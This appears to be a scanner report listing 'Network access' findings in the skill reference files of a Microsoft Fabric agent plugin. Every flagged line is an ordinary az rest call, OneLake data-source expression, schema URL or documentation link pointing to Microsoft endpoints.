    # 1. Request definition - may return 200 (inline) or 202 (LRO) RESPONSE=$(az rest --method post --verbose \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 148
    RESPONSE=$(az rest --method post --verbose    --resource "https://api.fabric.microsoft.com"
  • Network accessline 148
    RESPONSE=$(az rest --method post --verbose    --resource "https://api.fabric.microsoft.com"
  • Network accessline 149
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 149
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 185
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 185
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 186
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 186
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 187
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 187
    --resource "https://api.fabric.microsoft.com" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/tmdl-guidelines.md

  • Network accessline 124
    expression DL_Lakehouse = 	let 		Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])
  • Network accessline 124
    expression DL_Lakehouse = 	let 		Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])
  • Network accessline 125
    let 		Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) 	in
  • Network accessline 125
    let 		Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) 	in
  • Network accessline 126
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])
  • Network accessline 126
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/search-consumption-cli/SKILL.md

  • Network accessline 73
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 74
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 75
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 76
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 85
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 86
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 87
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 103
    For the full list of supported item types, see the [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search).
  • Network accessline 114
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 115
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 116
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 117
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 130
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 131
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 132
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 133
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 169
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 170
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 171
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 172
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 180
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 181
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 182
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 183
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 193
    | Symptom | Cause | Fix | |---|---|---| | `401 Unauthorized` | Wrong token audience or expired session | Verify `--resource "https://api.fabric.microsoft.com"`. Run `az login`. |
  • Network accessline 194
    |---|---|---| | `401 Unauthorized` | Wrong token audience or expired session | Verify `--resource "https://api.fabric.microsoft.com"`. Run `az login`. | | `InvalidPageSize` | `pageSize` outside 1–1000 | Use a value between 1 and 1000. |
  • Network accessline 195
    | `401 Unauthorized` | Wrong token audience or expired session | Verify `--resource "https://api.fabric.microsoft.com"`. Run `az login`. |
  • Network accessline 196
    | `InvalidPageSize` | `pageSize` outside 1–1000 | Use a value between 1 and 1000. | | `InvalidFilter` | Bad filter syntax | Only `eq`, `ne`, `or`, and parentheses. Don't mix `eq` with `and`, or `ne` with `or`. Don't mix `eq` and `ne` in the
  • Network accessline 197
    | `InvalidFilter` | Bad filter syntax | Only `eq`, `ne`, `or`, and parentheses. Don't mix `eq` with `and`, or `ne` with `or`. Don't mix `eq` and `ne` in the same filter. | | `TypeNotFound` | Unrecognized item type in filter | Check spelling
  • Network accessline 198
    | `TypeNotFound` | Unrecognized item type in filter | Check spelling (case-sensitive). See [API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for valid types. |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/SKILL.md

  • Network accessline 397
    SERVER="sql-prod"    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 397
    SERVER="sql-prod"    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 398
    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 398
    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 399
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 399
    --url "https://api.fabric.microsoft.com/v1/connections" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/connection-binding.md

  • Network accessline 5
    This API supersedes the legacy Power BI [Bind to Gateway in Group](https://learn.microsoft.com/rest/api/power-bi/datasets/bind-to-gateway-in-group). It supports gateway, cloud, virtual network, automatic, and unbind (`None`) connectivity ty
  • Network accessline 7
    > **Reference docs** > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection)
  • Network accessline 8
    > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection)
  • Network accessline 9
    > - [List Item Connections](https://learn.microsoft.com/rest/api/fabric/core/items/list-item-connections)
  • Network accessline 10
    > - [List Connections](https://learn.microsoft.com/rest/api/fabric/core/connections/list-connections)
  • Network accessline 11
    > - [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection)
  • Network accessline 18
    - Delegated scope: `SemanticModel.ReadWrite.All` or `Item.ReadWrite.All`. - Identities: User, Service Principal, Managed Identity. - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`.
  • Network accessline 20
    - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`.
  • Network accessline 31
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/semanticModels/{semanticModelId}/bindConnection
  • Network accessline 87
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 88
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 89
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/connections"
  • Network accessline 97
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 98
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 99
    --url "https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 106
    If no matching connection exists, create one with [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) before continuing.
  • Network accessline 130
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 131
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 132
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/semanticModels/$MODEL_ID/bindConnection" \
  • Network accessline 185
    - Submit **one request per data source reference**. The API rejects bulk payloads. - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize t
  • Network accessline 186
    - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize them. - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`
  • Network accessline 187
    - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`), not the Power BI audience.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/dax-perf-decision-guide.md

  • Network accessline 382
    - [Analysis Services trace events](https://learn.microsoft.com/analysis-services/trace-events/analysis-services-trace-events)
  • Network accessline 383
    - [Horizontal fusion in Power BI and Analysis Services](https://powerbi.microsoft.com/en-us/blog/announcing-horizontal-fusion-a-query-performance-optimization-in-power-bi-and-analysis-services/)
  • Network accessline 384
    - [Understand Direct Lake query performance](https://learn.microsoft.com/fabric/fundamentals/direct-lake-understand-storage)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/dax-perf-patterns.md

  • Network accessline 804
    Two approaches: - **Spark:** `spark.conf.set("spark.sql.parquet.vorder.default", "true")`, then run `OPTIMIZE` for existing Delta tables. - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.co
  • Network accessline 806
    - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations), which enables V-Order-oriented write settings for Power BI rea

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/direct-lake-guidelines.md

  • Network accessline 34
    let     Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 35
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 44
    expression 'DL_Sales_Named_Expression' = 		let 		    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 45
    let 		    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) 		in
  • Network accessline 46
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/metadata-discovery.md

  • Network accessline 182
    - **Issue:** `INFO.ROLEMEMBERSHIPS()` returns empty or incomplete results.   - **Cause:** Role members are assigned at the service level (Entra ID) after deployment, not in the model definition — so DAX `INFO` functions cannot reliably surf
  • Network accessline 184
    - **Fix:** Redirect to [Manage role membership documentation](https://learn.microsoft.com/en-us/fabric/security/service-admin-row-level-security#manage-role-membership) for current guidance on role membership management.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/pbip.md

  • Network accessline 38
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 39
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 46
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json) for more details.
  • Network accessline 57
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 58
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 71
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 72
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 86
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/report/definitionProperties/2.0.0/schema.json) for more details.
  • Network accessline 95
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json",
  • Network accessline 96
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json",
  • Network accessline 111
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/pbip/pbipProperties/1.0.0/schema.json) for more details.
  • Network accessline 117
    - [PBIP docs](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-overview)
  • Network accessline 118
    - [PBIP SemanticModel folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-dataset)
  • Network accessline 119
    - [PBIP Report folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-report)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/semantic-model-ai-readiness.md

  • Network accessline 33
    **Important:** When incapable of editing any metadata, refer the user to [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/create-reports/copilot-prepare-data-ai) documentation.
  • Network accessline 140
    > **Editing path:** Don't edit verified answers automatically. Instead suggest good candidates for verified answers and ask the user to configure manually in the tool. See [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/creat

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/semantic-model-rest-api.md

  • Network accessline 8
    API_FABRIC="https://api.fabric.microsoft.com/v1"
  • Network accessline 9
    API_PBI="https://api.powerbi.com/v1.0/myorg"
  • Network accessline 10
    RESOURCE_PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 11
    RESOURCE_FABRIC="https://api.fabric.microsoft.com"
  • Network accessline 22
    | API                   | Audience (`--resource`)                    | Use For                                                                      | | --------------------- | ------------------------------------------ | -------------------
  • Network accessline 23
    | --------------------- | ------------------------------------------ | ---------------------------------------------------------------------------- | | Fabric Items API      | `https://api.fabric.microsoft.com`         | Create/get/update/d
  • Network accessline 24
    | Fabric Items API      | `https://api.fabric.microsoft.com`         | Create/get/update/delete semantic model definitions, list items, LRO polling |
  • Network accessline 25
    | Power BI Datasets API | `https://analysis.windows.net/powerbi/api` | Refresh, data sources, parameters, permissions, operational properties       |
  • Network accessline 78
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 79
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 147
    # 1. Request definition - may return 200 (inline) or 202 (LRO) RESPONSE=$(az rest --method post --verbose \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 148
    RESPONSE=$(az rest --method post --verbose    --resource "https://api.fabric.microsoft.com"
  • Network accessline 149
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 185
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 186
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 187
    --resource "https://api.fabric.microsoft.com" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/tmdl-guidelines.md

  • Network accessline 124
    expression DL_Lakehouse = 	let 		Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])
  • Network accessline 125
    let 		Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) 	in
  • Network accessline 126
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring.md

  • Network accessline 43
    | Tool Selection Rationale | [COMMON-CLI.md § Tool Selection Rationale](../../../common/COMMON-CLI.md#tool-selection-rationale) || | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authenticat
  • Network accessline 44
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-
  • Network accessline 45
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res
  • Network accessline 218
    {"displayName": "DataEng-Dev"} EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 219
    EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 220
    workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 221
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 225
    {"displayName": "DevLakehouse", "type": "Lakehouse", "creationPayload": {"enableSchemas": true}} EOF lakehouse_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 226
    EOF lakehouse_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \
  • Network accessline 227
    lakehouse_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 228
    --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \
  • Network accessline 313
    {"name": "dev-session", "driverMemory": "56g", "driverCores": 8, "executorMemory": "56g", "executorCores": 8, "conf": {"spark.dynamicAllocation.enabled": "true", "spark.fabric.pool.name": "Starter Pool"}} EOF az rest --method post --resourc
  • Network accessline 314
    EOF az rest --method post --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/lakehouses/$lakehouse_id/livyapi/versions/2023-12-01/sessions" \
  • Network accessline 315
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 316
    --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/lakehouses/$lakehouse_id/livyapi/versions/2023-12-01/sessions" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/data-engineering-patterns.md

  • Network accessline 365
    > **⚠<U+FE0F> Public Preview**: [Fabric Runtime 2.0](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime-2-0) (Spark 4.1, Delta Lake 4.x) is in **Public Preview**. Delta Lake 4.x features are experimental and should **not** be enable
  • Network accessline 365
    > **⚠<U+FE0F> Public Preview**: [Fabric Runtime 2.0](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime-2-0) (Spark 4.1, Delta Lake 4.x) is in **Public Preview**. Delta Lake 4.x features are experimental and should **not** be enable
  • Network accessline 367
    **Native Execution Engine (NEE):** Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) 
  • Network accessline 367
    **Native Execution Engine (NEE):** Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) 
  • Network accessline 368
    Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) for current benchmarks.
  • Network accessline 368
    Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) for current benchmarks.
  • Network accessline 392
    **Efficient Scaledown (Remote Shuffle Manager):** Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it
  • Network accessline 392
    **Efficient Scaledown (Remote Shuffle Manager):** Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it
  • Network accessline 393
    Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it applies before Spark initializes. See [RSM docume
  • Network accessline 393
    Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it applies before Spark initializes. See [RSM docume
  • Network accessline 430
    See [Liquid clustering — Configuration reference](https://learn.microsoft.com/fabric/data-engineering/liquid-clustering#configuration-reference)
  • Network accessline 430
    See [Liquid clustering — Configuration reference](https://learn.microsoft.com/fabric/data-engineering/liquid-clustering#configuration-reference)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/development-workflow.md

  • Network accessline 64
    | Topic | Fetch URL | Keywords | |---|---|---| | %%configure magic command | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#spark-session-configuration-magic-command | `%%configure`, `driverMemory`, `execu
  • Network accessline 65
    |---|---|---| | %%configure magic command | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#spark-session-configuration-magic-command | `%%configure`, `driverMemory`, `executorMemory`, `driverCores`, `execu
  • Network accessline 66
    | %%configure magic command | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#spark-session-configuration-magic-command | `%%configure`, `driverMemory`, `executorMemory`, `driverCores`, `executorCores`, `nu
  • Network accessline 67
    | Parameterized %%configure from pipeline | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#parameterized-session-configuration-from-a-pipeline | `parameterName`, `defaultValue`, pipeline notebook activity,
  • Network accessline 68
    | Spark compute (pools, node sizes, autoscale) | https://learn.microsoft.com/en-us/fabric/data-engineering/spark-compute | starter pool, custom Spark pool, node size (Small/Medium/Large/XL/XXL), vCores, autoscale, dynamic allocation, capaci

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/materialized-lake-view-patterns.md

  • Network accessline 324
    > See the [Spark SQL Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view) for the complete and current list of limitations.
  • Network accessline 324
    > See the [Spark SQL Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view) for the complete and current list of limitations.
  • Network accessline 343
    > See the [PySpark Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark) for notebook organization best practices and current limitations.
  • Network accessline 343
    > See the [PySpark Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark) for notebook organization best practices and current limitations.
  • Network accessline 354
    > instead of orchestrating refresh from notebooks: > > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** —
  • Network accessline 354
    > instead of orchestrating refresh from notebooks: > > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** —
  • Network accessline 355
    > > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — >   Fabric derives dependency order from MLV definitions automatically.
  • Network accessline 355
    > > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — >   Fabric derives dependency order from MLV definitions automatically.
  • Network accessline 356
    > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** —
  • Network accessline 356
    > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** —
  • Network accessline 358
    >   Open the Materialized lake views tab → Manage to view the graph and >   follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** —
  • Network accessline 358
    >   Open the Materialized lake views tab → Manage to view the graph and >   follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** —
  • Network accessline 359
    >   follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — >   Create one or more schedules to refresh all MLVs or a selected subset.
  • Network accessline 359
    >   follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — >   Create one or more schedules to refresh all MLVs or a selected subset.
  • Network accessline 360
    > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** —
  • Network accessline 360
    > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** —
  • Network accessline 371
    - Repeat cadence: minute, hourly, daily, weekly, or monthly - **Optimal refresh** toggle (default On): Fabric automatically picks incremental or full refresh per view - **Extended lineage**: refresh chains across multiple lakehouses in depe
  • Network accessline 371
    - Repeat cadence: minute, hourly, daily, weekly, or monthly - **Optimal refresh** toggle (default On): Fabric automatically picks incremental or full refresh per view - **Extended lineage**: refresh chains across multiple lakehouses in depe
  • Network accessline 373
    - **Extended lineage**: refresh chains across multiple lakehouses in dependency order from a single schedule. When MLVs in Lakehouse B depend on tables in Lakehouse A, a single schedule on Lakehouse B refreshes Lakehouse A's MLVs first, the
  • Network accessline 373
    - **Extended lineage**: refresh chains across multiple lakehouses in dependency order from a single schedule. When MLVs in Lakehouse B depend on tables in Lakehouse A, a single schedule on Lakehouse B refreshes Lakehouse A's MLVs first, the
  • Network accessline 375
    Key behaviors (per current Fabric documentation — confirm against the [refresh reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view) as platform limits may change):
  • Network accessline 375
    Key behaviors (per current Fabric documentation — confirm against the [refresh reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view) as platform limits may change):
  • Network accessline 379
    For programmatic schedule management (create/update/delete schedules, trigger on-demand refresh via code), use the [MLV Public REST API](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-vie
  • Network accessline 379
    For programmatic schedule management (create/update/delete schedules, trigger on-demand refresh via code), use the [MLV Public REST API](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-vie
  • Network accessline 451
    | Topic | URL | Keywords | |---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations |
  • Network accessline 451
    | Topic | URL | Keywords | |---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations |
  • Network accessline 452
    |---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | | Get started | https://learn.microsoft.co
  • Network accessline 452
    |---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | | Get started | https://learn.microsoft.co
  • Network accessline 453
    | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations |
  • Network accessline 453
    | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations |
  • Network accessline 454
    | Get started | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/get-started-with-materialized-lake-views | quickstart, create MLV, first MLV, CDF setup |
  • Network accessline 454
    | Get started | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/get-started-with-materialized-lake-views | quickstart, create MLV, first MLV, CDF setup |
  • Network accessline 455
    | Medallion tutorial | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/tutorial | medallion architecture, bronze-silver-gold, sales analytics |
  • Network accessline 455
    | Medallion tutorial | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/tutorial | medallion architecture, bronze-silver-gold, sales analytics |
  • Network accessline 456
    | Optimal refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view | incremental refresh, full refresh, no refresh, optimal refresh, CDF |
  • Network accessline 456
    | Optimal refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view | incremental refresh, full refresh, no refresh, optimal refresh, CDF |
  • Network accessline 457
